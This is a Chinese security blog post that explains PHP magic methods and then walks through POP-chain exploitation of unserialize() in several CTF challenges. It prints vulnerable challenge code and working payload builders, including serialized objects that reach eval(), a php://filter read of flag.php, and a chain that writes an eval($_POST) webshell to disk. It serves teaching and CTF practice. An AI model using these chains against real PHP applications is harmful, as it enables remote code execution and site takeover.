经验分享 | PHP-反序列化(超细的)

  • A+
所属分类:代码审计


这是F12sec的第60篇原创 


申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

ps:很多小伙伴都催更了,先跟朋友们道个歉,摸鱼太久了,哈哈哈,今天就整理一下大家遇到比较多的php反序列化,经常在ctf中看到,还有就是审计的时候也会需要,这里我就细讲一下,我建议大家自己复制源码去搭建运行,只有自己去好好理解,好好利用了才更好的把握,才能更快的找出pop链子,首先呢反序列化最重要的就是那些常见的魔法函数,很多小伙伴都不知道这个魔法函数是干啥的,今天我就一个一个,细致的讲讲一些常见的魔法函数,以及最后拿一些ctf题举例,刚开始需要耐心的看,谢谢大家的关注,我会更努力的。

1.正文

常见的PHP魔术方法:


__construct:在创建对象时候初始化对象,一般用于对变量赋初值。__destruct:和构造函数相反,当对象所在函数调用完毕后执行。__call:当调用对象中不存在的方法会自动调用该方法。__get():获取对象不存在的属性时执行此函数。__set():设置对象不存在的属性时执行此函数。__toString:当对象被当做一个字符串使用时调用。__sleep:序列化对象之前就调用此方法(其返回需要一个数组)__wakeup:反序列化恢复对象之前调用该方法__isset():在不可访问的属性上调用isset()或empty()触发__unset():在不可访问的属性上使用unset()时触发__invoke() :将对象当作函数来使用时执行此方法

发现目标主机 192.168.64.137

__CONSTRUCT 与 __DESTRUCT

__construct:在创建对象时候初始化对象,一般用于对变量赋初值。 __destruct:和构造函数相反,当对象所在函数调用完毕后执行。

<?phpclass Test{    public $name;    public $age;    public $string;    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。    public function __construct($name, $age, $string){        echo "__construct 初始化"."<br>";        $this->name = $name;        $this->age = $age;        $this->string = $string;    }    // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。    /*     * 当对象销毁时会调用此方法     * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁     */    function __destruct(){       echo "__destruct 类执行完毕"."<br>";    }}// 主动销毁$test = new Test("Spaceman",566, 'Test String');unset($test);// 主动销毁先执行__destruct再执行下面的echoecho '566'.'<br>';echo '----------------------<br>';// 程序结束自动销毁$test = new test("Spaceman",566, 'Test String');// 自动销毁先执行下面的echo,程序结束才执行__destructecho '666'.'<br>';?>运行结果:__construct 初始化__destruct 类执行完毕566----------------------__construct 初始化666__destruct 类执行完毕

__CALL

__call:当调用对象中不存在的方法会自动调用该方法。

调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。

例:


<?php
class Test{
public function good($number,$string){ echo '存在good方法'.'<br>'; echo $number.'---------'.$string.'<br>'; }
// 当调用类中不存在的方法时,就会调用__call(); public function __call($method,$args){ echo '不存在'.$method.'方法'.'<br>'; var_dump($args); }}
$a = new Test();$a->good(566,'nice');$b = new Test();$b->spaceman(899,'no');?>

__GET()

__get():访问不存在的成员变量时调用的;用来获取私有属性

读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数。

例:

<?php
class Test { public $n=123;
// __get():访问不存在的成员变量时调用 public function __get($name){ echo '__get 不存在成员变量'.$name.'<br>'; }}
$a = new Test();// 存在成员变量n,所以不调用__getecho $a->n;echo '<br>';// 不存在成员变量spaceman,所以调用__getecho $a->spaceman;运行结果:123__get 不存在成员变量spaceman

__SET()

__set():设置不存在的成员变量时调用的;

设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。

例:

<?php
class Test{ public $data = 100; protected $noway=0;
// __set():设置对象不存在的属性或无法访问(私有)的属性时调用 /* __set($name, $value) * 用来为私有成员属性设置的值 * 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。 */ public function __set($name,$value){ echo '__set 不存在成员变量 '.$name.'<br>'; echo '即将设置的值 '.$value."<br>"; $this->noway=$value; }
public function Get(){ echo $this->noway; }}
$a = new Test();// 读取 noway 的值,初始为0$a->Get();echo '<br>';// 无法访问(私有)noway属性时调用,并设置值为899$a->noway = 899;// 经过__set方法的设置noway的值为899$a->Get();echo '<br>';// 设置对象不存在的属性spaceman$a->spaceman = 566;// 经过__set方法的设置noway的值为566$a->Get();?>运行结果:0

__set 不存在成员变量 noway
即将设置的值 899
899
__set 不存在成员变量 spaceman
即将设置的值 566
566

__get 与 __set

例:


<?php
class Person{ private $name; private $sex; private $age;
//__get()方法用来获取私有属性 public function __get($property_name){ echo "在直接获取私有属性值的时候,自动调用了这个__get()方法<br>"; if(isset($this->$property_name)) { return($this->$property_name); } else { return(NULL); } }
// __set()方法用来设置私有属性 public function __set($property_name, $value){ echo "在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值<br>"; $this->$property_name = $value; }}
$a = new Person();// 直接为私有属性赋值的操作,会自动调用__set()方法进行赋值$a->name="张三";$a->sex="男";$a->age=20;// 直接获取私有属性的值,会自动调用__get()方法,返回成员属性的值echo "姓名:".$a->name."<br>";echo "性别:".$a->sex."<br>";echo "年龄:".$a->age."<br>";?>
运行结果:在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值在直接获取私有属性值的时候,自动调用了这个__get()方法姓名:张三在直接获取私有属性值的时候,自动调用了这个__get()方法性别:男在直接获取私有属性值的时候,自动调用了这个__get()方法年龄:20

__TOSTRING()

__toString():在对象当做字符串的时候会被调用。

例:


<?php
class Test{ public $variable = 'This is a string';
public function good(){ echo $this->variable . '<br />'; }
// 在对象当做字符串的时候会被调用 public function __toString(){ return '__toString <br>'; }}
$a = new Test();$a->good();echo $a;?>
运行结果:This is a string__toString

__SLEEP()

__sleep():serialize之前被调用,可以指定要序列化的对象属性。

例:

<?php
class Test{ public $name; public $age; public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。 public function __construct($name, $age, $string){ echo "__construct 初始化"."<br>"; $this->name = $name; $this->age = $age; $this->string = $string; }
// __sleep() :serialize之前被调用,可以指定要序列化的对象属性 public function __sleep(){ echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>"; // 例如指定只需要 name 和 age 进行序列化,必须返回一个数值 return array('name', 'age'); }}
$a = new Test("Spaceman",566, 'Test String');echo serialize($a);?>
运行结果:__construct 初始化当在类外部使用serialize()时会调用这里的__sleep()方法O:4:"Test":2:{s:4:"name";s:8:"Spaceman";s:3:"age";i:566;}

__WAKEUP

__wakeup:反序列化恢复对象之前调用该方法

例:

<?php
class Test{ public $sex; public $name; public $age;
public function __construct($name, $age, $sex){ $this->name = $name; $this->age = $age; $this->sex = $sex; }
public function __wakeup(){ echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>"; $this->age = 566; }}
$person = new Test('spaceman',21,'男');$a = serialize($person);echo $a."<br>";var_dump (unserialize($a));?>
运行结果:O:4:"Test":3:{s:3:"sex";s:3:"男";s:4:"name";s:8:"spaceman";s:3:"age";i:21;}当在类外部使用unserialize()时会调用这里的__wakeup()方法class Test#2 (3) { public $sex => string(3) "男" public $name => string(8) "spaceman" public $age => int(566)}


__ISSET()

__isset(): 检测对象的某个属性是否存在时执行此函数。

当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。

例:

<?php
class Person{ public $sex; private $name; private $age;
public function __construct($name, $age, $sex){ $this->name = $name; $this->age = $age; $this->sex = $sex; }
// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。 public function __isset($content){ echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>"; return isset($this->$content); }}
$person = new Person("spaceman", 25,'男');// public 成员echo ($person->sex),"<br>";// private 成员echo isset($person->name);?>运行结果:
当在类外部使用isset()函数测定私有成员 name 时,自动调用1

__UNSET()

__unset():在不可访问的属性上使用unset()时触发

销毁对象的某个属性时执行此函数。

1、 如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性。

2、 如果对象的成员属性是私有的,我使用这个函数就没有权限去删除。

例:

<?php
class Person{ public $sex; private $name; private $age;
public function __construct($name, $age, $sex){ $this->name = $name; $this->age = $age; $this->sex = $sex; }
// __unset():销毁对象的某个属性时执行此函数 public function __unset($content) { echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>"; echo isset($this->$content)."<br>"; }}
$person = new Person("spaceman", 21,"男"); // 初始赋值unset($person->sex);echo "666666<br>";unset($person->name);unset($person->age);?>运行结果:
666666当在类外部使用unset()函数来删除私有成员时自动调用的1当在类外部使用unset()函数来删除私有成员时自动调用的1

__INVOKE()

__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。

例:

<?php
class Test{ // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用 public function __invoke($param1, $param2, $param3){ echo "这是一个对象<br>"; var_dump($param1,$param2,$param3); }}
$a = new Test();$a('spaceman',21,'男');?>运行结果:
这是一个对象string(8) "spaceman"int(21)string(3) "男"

举例

pop链的利用

例1:

<?php
highlight_file(__FILE__);
class pop { public $ClassObj;
// 对象实例化时调用 function __construct() { $this->ClassObj = new hello(); }
// 对象销毁或程序运行结束时调用 function __destruct() { $this->ClassObj->action(); }}
class hello { function action() { echo "<br> hello pop "; }}
class shell { public $data; function action() { eval($this->data); }}
$a = new pop();unserialize($_GET['s']);

简单的审计一下,可以发现,pop类本来是调用hello类的,然后程序结束执行action方法,但是shell类也有action方法,所以就可以构造pop链,使其pop类调用shell类从而执行eval函数。

构造如下:<?php
highlight_file(__FILE__);
class pop { public $ClassObj;
function __construct() { $this->ClassObj = new shell(); }}
class shell { public $data = "phpinfo();"; function action() { eval($this->data); }}
echo serialize(new pop()); 运行结果:
O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:10:"phpinfo();";}}

经验分享 | PHP-反序列化(超细的)

不过需要注意的是private属性和protected属性

<?php
highlight_file(__FILE__);
class pop { public $Pub = "spaceman"; private $Pri = "good"; protected $ClassObj;
function __construct() { $this->ClassObj = new hello(); }
}
class hello {}
echo urlencode(serialize(new pop()));运行结果如下, 有%00存在是因为private属性和protected属性
O%3A3%3A%22pop%22%3A3%3A%7Bs%3A3%3A%22Pub%22%3Bs%3A8%3A%22spaceman%22%3Bs%3A8%3A%22%00pop%00Pri%22%3Bs%3A4%3A%22good%22%3Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A5%3A%22hello%22%3A0%3A%7B%7D%7D


例2:

[MRCTF2020]Ezpop

<?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); }}
if(isset($_GET['pop'])){ @unserialize($_GET['pop']);}else{ $a=new Show; highlight_file(__FILE__);}


首先看看所涉及到的魔术方法:

__construct()  当一个对象创建时被调用
__toString() 当一个对象被当作一个字符串使用
__wakeup() 将在反序列化之后立即被调用
__get() 访问不存在的成员变量时调用的
__invoke() 将对象当作函数来使用时执行此方法

我们可以先一个一个类看看怎么利用

Modifier类:

<?php
highlight_file(__FILE__);
class Modifier { protected $var = 'info.php';
public function append($value){ include($value); }
public function __invoke(){ echo '__invoke'."<br>"; $this->append($this->var); }}
$a = new Modifier();$a();

这里假设需要 include 的文件是info.php

简单解释一下代码的意思,就是我们需要执行append方法,若需要执行该方法可通过__invoke方法执行,也就是当将对象当作函数来使用时执行__invoke方法

所以我们就可以先创建这个对象然后再拿来当函数使用,就会自动触发__invoke方法,从而就可以执行append方法包含info.php文件

运行结果:

经验分享 | PHP-反序列化(超细的)

接下来是Test类:

class Test{    public $p;    public function __construct(){        $this->p = array();    }
public function __get($key){ $function = $this->p; return $function(); }}

首先是__construct方法初始化设置p是一个数组,这显然不是我们需要的,但我们可以重新初始化,然后是__get方法,访问不存在的成员变量时调用,而且返回的是方法,这不就可以配合第一个Modifier类使用了吗,使用Test类的__get方法调用Modifier类,所以我们可以使Test类初始化将$p的值设为Modifier对象,然后再经过__get方法以函数的方式执行Modifier对象(即访问一个Test类不存在的属性),这样就可以使用Modifier对象的append方法了,如下:

<?php
class Modifier { protected $var = 'info.php';
public function append($value){ include($value); }
public function __invoke(){ echo '__invoke'."<br>"; $this->append($this->var); }}

class Test{ public $p; public function __construct(){ $this->p = new Modifier(); }
public function __get($key){ $function = $this->p; return $function(); }}
$a = new Test();$a->no;?>

运行结果:

经验分享 | PHP-反序列化(超细的)

最后是这个Show类:


class Show{    public $source;    public $str;    public function __construct($file='index.php'){        $this->source = $file;        echo 'Welcome to '.$this->source."<br>";    }    public function __toString(){        return $this->str->source;    }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}

首先使用unserialize会先触发__wakeup方法,这个方法在这里其实就是充当过滤字符,接着是初始化方法,这个方法有个关键的地方就是使用了echo打印字符串,并且将source拼接起来打印,而__toString() 就是当一个对象被当作一个字符串时调用,正好可以利用初始化方法的echo去完成调用。

分析了这么多,最后就可以构造最终的pop链了,先上payload再继续讲

<?php
class Modifier { protected $var = 'info.php';}
class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return "566"; }}
class Test{ public $p; public function __construct(){ $this->p = new Modifier(); }}
$a = new Show('spaceman');$a->str = new Test();$c = new Show($a);echo serialize($c);

运行结果有不可显示字符%00这里我手动加上了,所以可以使用urlencode一下,我这里是为了更直观的查看所以直接序列化

经验分享 | PHP-反序列化(超细的)

Welcome to spacemanWelcome to 566O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:8:"spaceman";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"info.php";}}}s:3:"str";N;}$a = new Show('spaceman');

首先是new一个Show对象,然后初始化source的值,如spaceman等字符,这个没多大影响,只是为了调用Test类中的__get方法,那如何调用的呢

$a->str = new Test();

将Show类的str属性设为new Test()

$c = new Show($a);

然后再用Show类初始化刚刚构造的Show类,这里可能就有点绕了,为何我们需要这样构造呢,因为我们需要触发Show的__toString()方法,让str能调用source,而经过刚刚的赋值,str为new Test(),source为new Show('spaceman')中的 spaceman ,那么__toString方法中的str->source就是访问Test类中的spaceman属性,然而Test类没有spaceman属性,那么就会触发__get方法,而该方法又会触发Modifier类中的__invoke方法,最后就完成了include

所以大概调用的过程是:

Show::__toString()-->Test::__get()-->Modifier::__invoke()

执行结果:

经验分享 | PHP-反序列化(超细的)

当然这是文件包含,那么想要读取文件应该怎么办呢,可以php伪协议使用,所以可以这样构造读取文件

<?php
class Modifier { protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';}
class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return "566"; }}
class Test{ public $p; public function __construct(){ $this->p = new Modifier(); }}
$a = new Show('spaceman');$a->str = new Test();$c = new Show($a);echo serialize($c);
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:8:"spaceman";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

运行结果

经验分享 | PHP-反序列化(超细的)

执行:

经验分享 | PHP-反序列化(超细的)

最后base64解码即可

例3:

ctfshow 反序列化web261

<?php
highlight_file(__FILE__);
class ctfshowvip{ public $username; public $password; public $code;
public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); }
public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } }}
unserialize($_GET['vip']);

首先呢了解一个上文没讲过的__unserialize()方法, 反序列化函数,用于序列化的SET类型数据。如果参数不是序列化的SET,那么会直接返回。如果是一个序列化的SET,但不是PHP-REDIS序列化的格式,函数将抛出一个异常。

Examples:

$redis->setOpt(Redis::OPT_SERIALIZER, Redis::SERIALIZER_PHP);$redis->_unserialize('a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}'); // Will return Array(1,2,3)

所以我们此时应该先想怎么序列化

__sleep()serialize之前被调用,可以指定要序列化的对象属性。所以在反序列化的时候就没啥用了,我们自己序列化的时候也不加,而__unserialize在序列化的时候也用不到,__wakeup是反序列化恢复对象之前调用的方法,所以跟序列化也没啥关系,__invoke() 是将对象当作函数来使用时执行此方法,但是我发现并不需要调用此方法,因为__destruct()方法中有file_put_contents函数可以写文件,所以我们需要满足 code==0x36d 即可将文件写入,这里不难发现是弱类型比较,所以887.php==0x36d是成立的,所以我们可以直接构造如下:

<?phpclass ctfshowvip{    public $username;    public $password;
public function __construct($u,$p){ $this->username=$u; $this->password=$p; }}$a = new ctfshowvip('877.php','<?php eval($_POST[1]);?>');echo serialize($a);

为什么可以直接这样构造而不被__wakeup()拦截呢,因为含有__unserialize(),就是当一个类中同时含有这两个方法时只有__unserialize生效,而__wakeup()失效,如下:

 <?php
highlight_file(__FILE__);
class ctfshowvip{ public $username; public $password; public $code;
public function __construct($u,$p){ echo "__construct()<br>"; $this->username=$u; $this->password=$p; }
public function __wakeup(){ echo "__wakeup()<br>"; if($this->username!='' || $this->password!=''){ die('error'); } }
public function __invoke(){ echo "__invoke()<br>"; eval($this->code); }
public function __sleep(){ echo "__sleep()<br>"; $this->username=''; $this->password=''; }
public function __unserialize($data){ echo "__unserialize()<br>"; $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; var_dump($data); echo "<br>"; echo $this->code; echo "<br>";
}
public function __destruct(){ echo "__destruct()<br>"; if($this->code==0x36d){ echo "file_put_contents-----good!<br>"; } }}
unserialize($_GET['vip']);运行结果:
__unserialize()array(2) { ["username"]=> string(7) "877.php" ["password"]=> string(24) "<?php eval($_POST[1]);?>" }877.php__destruct()file_put_contents-----good!成功写入木马,剩下的操作就不说了


例4:

2021蓝帽杯半决赛-杰克与肉丝

源码:

<?phphighlight_file(__file__);     class Jack    {    private $action;        function __set($a, $b){        $b->$a();    }}class Love {    public $var;    function __call($a,$b){        $rose = $this->var;        call_user_func($rose);    }    private function action(){        echo "jack love rose";    }}class Titanic{    public $people;    public $ship;    function __destruct(){        $this->people->action=$this->ship;    }}class Rose{    public $var1;    public $var2;    function __invoke(){        //if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){            eval($this->var1);        //}    }}if(isset($_GET['love'])){    $sail=$_GET['love'];    unserialize($sail);}?>

为了不受其他因素干扰,我先把这个Rose类__invoke函数的if语句注释,就是为了更方便的看看怎么构造的,所以首先我们应该直接寻找我们最后利用的函数eval,然后利用逆推的方式,看看是如何触发该函数的,就是看看怎么调用的,invoke() 将对象当作函数来使用时执行此方法,所以刚刚开始我们依旧可以慢慢一步一步测试分析,慢慢一步一步调用

<?php
class Rose{ public $var1 = "phpinfo();"; public $var2; function __invoke(){ eval($this->var1); }}
$a = new Rose();echo $a->var1;$a();

经验分享 | PHP-反序列化(超细的)

现在是构造出来了,接着是看看怎么才能调用这个类,而Love类有一个是函数以函数的方式,call_user_func 是把第一个参数作为回调函数调用,正好符合了我们需要构造的,所以我们又看一下这个函数是怎么触发的,__call 当调用对象中不存在的方法会自动调用该方法,由于call_user_func回调的参数是$rose,$rose又是直接等于$var,所以我们需要先给$var赋值,这个值就是Rose类,这样call_user_func回调时就拿Rose类当函数执行,这样就可以出发Rose类的eval了


<?php
class Love{ public $var; function __call($a,$b){ $rose = $this->var; echo "$a function not find!<br>"; call_user_func($rose); } private function action(){ echo "jack love rose"; }}
class Rose{ public $var1 = "phpinfo();"; public $var2; function __invoke(){ echo $this->var1; eval($this->var1); }}
$a = new Rose();$b = new Love();$b->var = $a;$b->spaceman(566); //不存在的spaceman函数

经验分享 | PHP-反序列化(超细的)

然后我们继续寻找一下如何在别的类里找一个不存在的函数,$b->spaceman(566) 这样的形式Jack类就有,正好又可以构造了,然后我们再看一下怎么触发Jack类中的这个形式,__set 设置对象不存在的属性或无法访问(私有)的属性时调用,这里的$action是私有的,所以我们可以利用这个action

<?php
class Jack{ private $action; function __set($a, $b){ echo "good! I run!<br>"; $b->$a(); }}
class Love{ public $var; function __call($a,$b){ $rose = $this->var; echo "$a function not find!<br>"; call_user_func($rose); } private function action(){ echo "jack love rose"; }}
class Rose{ public $var1 = "phpinfo();"; public $var2; function __invoke(){ echo $this->var1; eval($this->var1); }}
$a = new Rose();$b = new Love();$b->var = $a;$c = new Jack();$c->action = $b;

其实这里不用action其实也是可以的,随便一个名字都行,但是这里用action是因为等下需要,因为我们需要利用这个action,那么就是接下来怎么触发这个Jack类了,源码中只有一个unserialize,而要想触发这一系列的类,只有Titanic类符合开始的条件,因为只有Titanic类的__destruct魔法函数触发,所以这就是我们序列化的入口,__destruct当对象所在函数调用完毕后执行。最后就是用Titanic类将这些类都连接在一起


<?php
class Titanic{ public $people; public $ship; function __destruct(){ $this->people->action=$this->ship; }}
class Jack{ private $action; function __set($a, $b){ echo "good! I run!<br>"; $b->$a(); }}
class Love{ public $var; function __call($a,$b){ $rose = $this->var; echo "$a function not find!<br>"; call_user_func($rose); } private function action(){ echo "jack love rose"; }}
class Rose{ public $var1 = "phpinfo();"; public $var2; function __invoke(){ echo $this->var1; eval($this->var1); }}
$s = new Titanic();$s->people = new Jack();$s->ship = new Love();$s->ship->var = new Rose();echo urlencode(serialize($s));echo "<br>";

经验分享 | PHP-反序列化(超细的)

最后将序列化后得到的数据输入源码中即可

经验分享 | PHP-反序列化(超细的)

结束语

哈哈哈,下次一定好好更新,下次一定

本次主要是讲了php反序列中常用魔术方法怎么触发以及怎么构造pop链,在实战中有的漏洞就是通过源码审计反序列化来导致RCE的,比如thinkphp5.1.*就存在一个RCE的pop链,这个我之后也会进行更新,构造pop链就是需要耐心也细心,一开始都不容易,我个人使用的是逆推的方法,就是从最后的命令执行往前推,需要啥就找啥,有的师傅是习惯从头到尾,我比较菜,只能从后面慢慢测试慢慢往前推,最后感谢关注我的朋友们,我会更加努力学习,尽量帮师傅们更快掌握一些知识,以后会尽量更新文章,谢谢师傅们!

——————————————————————————
  • 往期精彩推荐

❤️爱心三连击

1.关注公众号「F12sec」

2.本文已收录在F12sec官方网站:http://www.0dayhack.net/

3.看到这里了就点个关注支持下吧,你的「关注」是我创作的动力。

经验分享 | PHP-反序列化(超细的)
经验分享 | PHP-反序列化(超细的)


公众号:F12sec

QQ群:884338047

官方网站:http://www.0dayhack.net/

这是一个终身学习的团队,他们在坚持自己热爱的事情,欢迎加入F12sec,和师傅们一起开心的挖洞~

        关注和转发是莫大鼓励❤️




本文始发于微信公众号(F12sec):经验分享 | PHP-反序列化(超细的)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: